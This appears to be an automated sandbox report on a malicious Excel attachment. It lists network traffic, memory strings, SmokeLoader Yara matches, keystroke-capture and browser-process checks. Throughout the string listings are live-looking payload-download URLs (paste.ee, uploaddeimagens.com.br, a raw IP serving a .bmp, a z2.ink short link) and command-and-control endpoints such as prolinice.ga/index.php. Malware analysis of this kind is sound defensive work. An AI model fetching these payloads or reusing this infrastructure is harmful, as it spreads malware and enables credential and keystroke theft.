2a 20 55 73 65 72 20 41 67 65 6e 74 3a 20 4d 6f 7a 69 6c 6c 61 2f 35 2e 30 20 28 55 6e 6b 6e 6f 77 6e 3b 20 4c 69 6e 75 78 20 78 38 36 5f 36 34 29 20 41 70 70 6c 65 57 65 62 4b 69 74 2f 35 33 38 2e 31 20 28 4b 48 54 4d 4c 2c 20 6c 69 6b 65 20 47 65 63 6b 6f 29 20 53 61 66 61 72 69 2f 35 33 38 2e 31 20 44 61 75 6d 2f 34 2e 31 20 2a 2f 40 66 6f 6e 74 2d 66 61 63 65 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 4f 70 65 6e 20 53 61 6e 73 27 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 69 74 61 6c 69 63 3b 6
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Edge: smart-1.high-performance.networkDate: Mon, 27 May 2024 16:35:20 GMTContent-Length: 102317Server: LINKSGPTCache-Control: no-store, no-cache, must-revalidateConnection: keep-alive
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 27 May 2024 16:36:08 GMTServer: Apache/2.4.59 (Debian)Connection: closeTransfer-Encoding: chunkedContent-Type: text/html; charset=utf-8Data Raw: 35 32 64 38 38 0d 0a b9 00 00 00 a0 5f e8 0a 27 e8 d3 d3 81 21 79 b3 53 e5 35 0b ec 13 ad 26 44 90 de ef 3f 52 b4 a5 1d 0f 76 5e ee 37 a5 3a 38 64 25 38 a9 5e 19 de 43 7b 19 8a 78 2b e4 d1 73 bb 1b 96 f5 28 a6 be 4e 30 95 05 bc f7 23 ab 0f 0b 51 2a f5 2c 33 4d ed 17 40 1a 79 0c 2b 7b de 73 27 cf 50 68 9e 83 b3 e0 74 d2 13 5d fa 05 cb 86 bf 9a ff 99 b4 c1 53 49 97 f0 22 d3 3a b8 db 32 2e 28 81 82 51 ca 8d b4 0d 1e e5 5a f2 1c 1e 60 9d f8 6c ea 89 06 f0 fe 0b e0 be ed fc ac 8d 8d 20 19 bb ad d3 9e 70 c1 62 64 38 e6 ad f3 9c 8d b7 27 5d c1 30 78 b2 34 fc 64 ca 38 5b 03 cf 4b a0 90 08 00 ca 2c 05 00 7c e1 f7 57 09 03 02 00 09 00 9e 03 00 00 53 1f 7d 22 77 32 62 71 76 3f 4f 55 52 12 42 00 c9 32 ee 68 fe 0f ca 76 74 07 d6 d6 f9 b8 92 29 e8 55 92 92 3e c8 50 dd 24 a4 99 ce 5c 90 b9 3b fc 51 49 c0 0d f0 19 d3 e9 92 2a 7a f7 09 00 bb 7a b8 01 84 b7 a3 64 8b 0b f3 9f 79 57 fa 26 ce 46 fb 76 8c c7 a7 e0 22 d1 2d c9 1e 43 c3 ef c1 4c dd a0 af 3d b8 a8 a5 fb c0 70 8e 98 0e df 4b cc 40 42 f2 70 5e a2 6b 51 b2 9f 66 73 fe c7 15 ac cd f6 9d 88 6a 44 07 1e 8d 8b 6b 24 18 2b 4b 2a ec 81 b7 50 50 a4 4e ad cf 32 5c c0 15 b4 57 90 1b 0d ee 6c f7 54 23 c9 ed 8e bc 36 a0 b4 7a c0 a1 84 b8 ba d4 a3 62 52 1c ae d9 4b 5a 18 a9 1c db 20 3a d0 44 3f 55 06 6b bf 4b 63 27 f1 ac 4f fe d1 04 8b 3f ba 91 69 f9 fb 81 fe 97 af cd a6 40 69 e9 33 b2 a6 45 cc f6 83 0e 7c 20 5b 7d 1d a4 53 32 fe 9d cc 54 71 e4 4c 20 4c b2 37 b3 8e 0f 1b d8 40 78 f3 c6 c7 84 1a aa 21 d4 fa 17 f2 46 ab 2a 9b db a1 fa 45 c5 f8 a8 f5 78 d7 7b c7 34 f8 40 a6 ce 9e 68 07 d1 3b db 70 67 ae de de 5f 1b 81 d3 b1 e8 be 06 9b bd 51 aa 40 d1 5b 4e 04 32 d7 97 2a e0 96 cc f3 08 be 06 f4 ef f1 48 d0 25 d9 73 3b 22 c7 0f b5 72 bf c3 e5 81 32 31 c9 f4 a1 4c ee 90 56 05 52 a9 1c 76 6f 99 dc ff 39 62 09 4e 0e 7c a8 50 2c 99 64 73 2c f8 8e 19 ec 5e 4c 2b 1b 6a 20 6d e3 2e 26 3e f2 ee 67 21 84 c5 3d 2f 72 90 3a ea 6c 5f b3 01 1d 55 2a 97 6b 1b 48 d7 18 d0 92 ef 20 3e 28 8e b6 b7 0f 4f c2 e3 41 ee a3 e2 e5 4f 7c 04 cf 84 8c 71 e5 91 3b ef 9c 40 2b b4 81 b3 6f 0c e5 ea f4 a9 02 25 53 be 6e 6e 71 ce db f8 20 6e 55 5b a4 66 26 ed 43 1b d2 35 1a 47 54 5d 20 0c 1b 03 8a 54 94 fb f1 d9 5d 91 01 a9 f6 90 b3 3e c6 10 cc 67 ca 7b 76 0b 97 06 5b d8 d2 e2 0f 79 af ed 1b 53 92 e1 e9 cc 7a b6 b9 98 42 38 a5 00 49 58 88 86 83 3c a1 5c d3 72 7d ad bc 8d 80 b4 ea 85 32 d9 b9 33 ce ae d5 90 f4 bb 3a c9 3d 3b 48 a7 e3 58 dd be d0 8a aa 01 3e 48 f4 19 2b 95 d5 65 ff b4 78 a1 d2 cd 69 0a 91 f7 6a 18 3d 4f 75 b1 bc 1b b1 60 c8 27 8c 70 db 33 0d a6 f2 ed 80 8d aa 7c 4a 8c 59 8c 3d 99 a9 52 09 0f d9 5e 58 eb 6f 11 c9 5b 23 0e a9 04 11 b7 a5 6b eb 6e 85 01 89 5e cf 54 06 96 02 2d c3 92 6c 61 40 ee 39 ff fa 3e 0d c6 24 8f 1c 02 ac 7a ab 13 d0 be a8 cb 90 7c 6b d5 fb ae 58 ee db 76 10 36 cb d3 c0 5d 0e e0 08 4f 38 94 52 92 70 bf 7c bd c4 0d 6f f9 74 7a 41 a6 59
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 27 May 2024 16:36:17 GMTServer: Apache/2.4.59 (Debian)Content-Length: 409Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 39 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 70 72 6f 6c 69 6e 69 63 65 2e 67 61 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.59 (Debian) Server at prolinice.ga Port 80</address></body></html>
Source: EQNEDT32.EXE, 00000008.00000002.412851161.00000000002EF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://198.46.177.156/8080/lionarekingofjungleimageshere.bmp
Source: EQNEDT32.EXE, 00000008.00000002.412851161.00000000002EF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://198.46.177.156/8080/lionarekingofjungleimageshere.bmpj
Source: explorer.exe, 0000000E.00000002.606049641.00000000026D2000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.607048894.0000000007987000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://aikpfjvjuwcsxfjs.net/
Source: explorer.exe, 0000000E.00000002.607048894.0000000007987000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://aikpfjvjuwcsxfjs.net/application/x-www-form-urlencodedMozilla/5.0
Source: wscript.exe, 00000009.00000003.418483952.00000000034B6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000002.423380001.0000000003489000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.458145376.00000000050DE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: wscript.exe, 00000009.00000003.418483952.00000000034B6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000002.423380001.0000000003489000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.458145376.00000000050DE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: wscript.exe, 00000009.00000003.418483952.00000000034B6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000002.423380001.0000000003489000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.458145376.00000000050DE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: wscript.exe, 00000009.00000003.418483952.00000000034B6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000002.423380001.0000000003489000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.458145376.00000000050DE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: wscript.exe, 00000009.00000003.418483952.00000000034B6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000002.423380001.0000000003489000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.458145376.00000000050DE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: wscript.exe, 00000009.00000003.418483952.00000000034B6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000002.423380001.0000000003489000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.458145376.00000000050DE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: wscript.exe, 00000009.00000003.418483952.00000000034B6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000002.423380001.0000000003489000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.458145376.00000000050DE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: wscript.exe, 00000009.00000003.418483952.00000000034B6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000002.423380001.0000000003489000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.use
Source: explorer.exe, 0000000E.00000002.605324960.00000000001D6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.464250384.00000000001D6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://java.sun.com
Source: powershell.exe, 0000000C.00000002.454053406.00000000032C9000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://nuget.org/NuGet.exe
Source: wscript.exe, 00000009.00000003.418483952.00000000034B6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000002.423380001.0000000003489000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.458145376.00000000050DE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0
Source: wscript.exe, 00000009.00000002.423380001.0000000003489000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.458145376.00000000050DE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0%
Source: wscript.exe, 00000009.00000003.418483952.00000000034B6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000002.423380001.0000000003489000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.458145376.00000000050DE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0-
Source: wscript.exe, 00000009.00000003.418483952.00000000034B6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000002.423380001.0000000003489000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.458145376.00000000050DE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0/
Source: wscript.exe, 00000009.00000002.423380001.0000000003489000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.458145376.00000000050DE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com05
Source: wscript.exe, 00000009.00000003.418483952.00000000034B6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000002.423380001.0000000003489000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.458145376.00000000050DE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.entrust.net03
Source: wscript.exe, 00000009.00000003.418483952.00000000034B6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000002.423380001.0000000003489000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.458145376.00000000050DE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.entrust.net0D
Source: explorer.exe, 00000012.00000002.526156313.0000000000694000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://prolinice.ga/
Source: explorer.exe, 00000012.00000002.526156313.0000000000694000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://prolinice.ga/application/x-www-form-urlencodedMozilla/5.0
Source: explorer.exe, 00000012.00000002.526156313.0000000000664000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000002.526156313.0000000000694000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000013.00000002.509224452.000000000032E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000015.00000002.513249224.0000000000604000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.605434995.00000000002C4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000017.00000002.546090227.000000000013E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000018.00000002.605531849.0000000000684000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000019.00000002.605475335.00000000002EE000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001C.00000002.605633277.0000000000464000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001D.00000002.605402279.000000000033E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://prolinice.ga/index.php
Source: explorer.exe, 0000000E.00000002.606049641.00000000026D2000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://prolinice.ga/index.php.
Source: explorer.exe, 00000012.00000002.526156313.0000000000664000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000013.00000002.509224452.000000000032E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000015.00000002.513249224.0000000000604000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.605434995.00000000002C4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000017.00000002.546090227.000000000013E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000018.00000002.605531849.0000000000684000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000019.00000002.605475335.00000000002EE000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001C.00000002.605633277.0000000000464000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001D.00000002.605402279.000000000033E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://prolinice.ga/index.phpMozilla/5.0
Source: explorer.exe, 00000012.00000002.526156313.0000000000694000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://prolinice.ga/ndex.php
Source: powershell.exe, 0000000A.00000002.528301367.000000000259A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.454053406.00000000022A1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: explorer.exe, 0000000E.00000002.605324960.00000000001D6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.464250384.00000000001D6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.autoitscript.com/autoit3
Source: wscript.exe, 00000009.00000003.418483952.00000000034B6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000002.423380001.0000000003489000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.458145376.00000000050DE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: wscript.exe, 00000009.00000003.418483952.00000000034B6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000002.423380001.0000000003489000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.458145376.00000000050DE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: explorer.exe, 0000000E.00000002.606556935.0000000003DB1000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.466925518.000000000797B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.606049641.000000000260D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.465326275.000000000260D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.466511830.0000000003DB1000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.piriform.com/ccleaner
Source: explorer.exe, 0000000E.00000002.606556935.0000000003DB1000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.466925518.00000000078D0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.466925518.000000000797B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.606049641.000000000260D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.465326275.000000000260D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.466511830.0000000003DB1000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.607048894.00000000078D0000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.piriform.com/ccleanerhttp://www.piriform.com/ccleanerv
Source: explorer.exe, 0000000E.00000002.606049641.000000000260D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.465326275.000000000260D000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.piriform.com/ccleanerxe
Source: z2.ink.url.4.dr String found in binary or memory: http://z2.ink/
Source: nXPJ.url.4.dr String found in binary or memory: http://z2.ink/nXPJ
Source: #20240627_Edlen_A.xls String found in binary or memory: http://z2.ink/nXPJk
Source: ~DFBC2F112CC991C446.TMP.0.dr, 26330000.0.dr String found in binary or memory: http://z2.ink/nXPJyX
Source: explorer.exe, 00000012.00000003.520619924.00000000006A8000.00000004.00000020.00020000.00000000.sdmp, F8D.tmp.18.dr String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: wscript.exe, 00000009.00000003.421640600.00000000003C0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000002.422279832.000000000089C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://analytics.paste.ee
Source: wscript.exe, 00000009.00000003.421640600.00000000003C0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000002.422279832.000000000089C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://analytics.paste.ee;
Source: explorer.exe, 00000012.00000003.520619924.00000000006A8000.00000004.00000020.00020000.00000000.sdmp, F8D.tmp.18.dr String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: wscript.exe, 00000009.00000003.421640600.00000000003C0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000002.422279832.000000000089C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cdnjs.cloudflare.com
Source: wscript.exe, 00000009.00000003.421640600.00000000003C0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000002.422279832.000000000089C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cdnjs.cloudflare.com;
Source: powershell.exe, 0000000C.00000002.454053406.00000000032C9000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000000C.00000002.454053406.00000000032C9000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000000C.00000002.454053406.00000000032C9000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/License
Source: explorer.exe, 00000012.00000003.520619924.00000000006A8000.00000004.00000020.00020000.00000000.sdmp, F8D.tmp.18.dr String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: explorer.exe, 00000012.00000003.520619924.00000000006A8000.00000004.00000020.00020000.00000000.sdmp, F8D.tmp.18.dr String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: explorer.exe, 00000012.00000003.520619924.00000000006A8000.00000004.00000020.00020000.00000000.sdmp, F8D.tmp.18.dr String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: wscript.exe, 00000009.00000003.421640600.00000000003C0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000002.422279832.000000000089C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://fonts.googleapis.com
Source: wscript.exe, 00000009.00000003.421640600.00000000003C0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000002.422279832.000000000089C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://fonts.gstatic.com;
Source: powershell.exe, 0000000C.00000002.454053406.00000000032C9000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://nuget.org/nuget.exe
Source: wscript.exe, 00000009.00000003.419004224.000000000089B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000003.421806402.000000000089B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000003.421640600.00000000003C0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000002.422008414.00000000007D4000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000003.419004224.00000000007F1000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000002.422008414.0000000000816000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://paste.ee/d/Bo3r4
Source: wscript.exe, 00000009.00000003.419004224.00000000007F1000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000002.422008414.0000000000816000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://paste.ee/d/Bo3r4gj
Source: wscript.exe, 00000009.00000002.423380001.0000000003489000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://paste.ee/e
Source: wscript.exe, 00000009.00000002.423380001.0000000003489000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://paste.ee/n
Source: explorer.exe, 00000012.00000003.520619924.00000000006A8000.00000004.00000020.00020000.00000000.sdmp, F8D.tmp.18.dr String found in binary or memory: https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search
Source: explorer.exe, 00000012.00000003.520619924.00000000006A8000.00000004.00000020.00020000.00000000.sdmp, F8D.tmp.18.dr String found in binary or memory: https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: wscript.exe, 00000009.00000003.418483952.00000000034B6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000002.423380001.0000000003489000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.458145376.00000000050DE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://secure.comodo.com/CPS0
Source: wscript.exe, 00000009.00000003.421640600.00000000003C0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000002.422279832.000000000089C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://secure.gravatar.com
Source: explorer.exe, 0000000E.00000002.605324960.00000000001D6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.464250384.00000000001D6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org
Source: wscript.exe, 00000009.00000003.421640600.00000000003C0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000002.422279832.000000000089C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://themes.googleusercontent.com
Source: powershell.exe, 0000000C.00000002.454053406.00000000023DA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://uploaddeimagens.com.br
Source: powershell.exe, 0000000C.00000002.458120444.0000000004F50000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://uploaddeimagens.com.br/images/004/785/720/original/new_image.jpg?1716307634
Source: wscript.exe, 00000009.00000003.421640600.00000000003C0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000002.422279832.000000000089C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.google.com
Source: F8D.tmp.18.dr String found in binary or memory: https://www.google.com/favicon.ico
Source: wscript.exe, 00000009.00000003.421640600.00000000003C0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000002.422279832.000000000089C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.google.com;
Source: wscript.exe, 00000009.00000003.421640600.00000000003C0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000002.422279832.000000000089C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.gstatic.com
Source: explorer.exe, 0000000E.00000002.605324960.00000000001D6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.464250384.00000000001D6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org
Source: explorer.exe, 0000000E.00000002.605324960.00000000001D6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.464250384.00000000001D6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/firefox/52.0.1/releasenotes
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49174
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49173
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49172
Source: unknown Network traffic detected: HTTP traffic on port 49172 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49173 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49174 -> 443
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.22:49172 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing
barindex
Yara detected SmokeLoader
Source: Yara match File source: 00000018.00000002.605262132.0000000000081000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000019.00000002.605299369.00000000000E1000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: explorer.exe PID: 3192, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: explorer.exe PID: 3324, type: MEMORYSTR
Source: Yara match File source: 13.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000D.00000002.467103946.0000000000131000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.467072313.0000000000110000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.606652331.0000000003F11000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY
Contains functionality to retrieve information about pressed keystrokes
Source: C:\Windows\SysWOW64\explorer.exe Code function: 28_2_000C162B GetKeyboardState,ToUnicode, 28_2_000C162B

E-Banking Fraud
barindex
Checks if browser processes are running
Source: C:\Windows\SysWOW64\explorer.exe Code function: StrStrIA, chrome.exe|opera.exe|msedge.exe 22_2_00082EA8
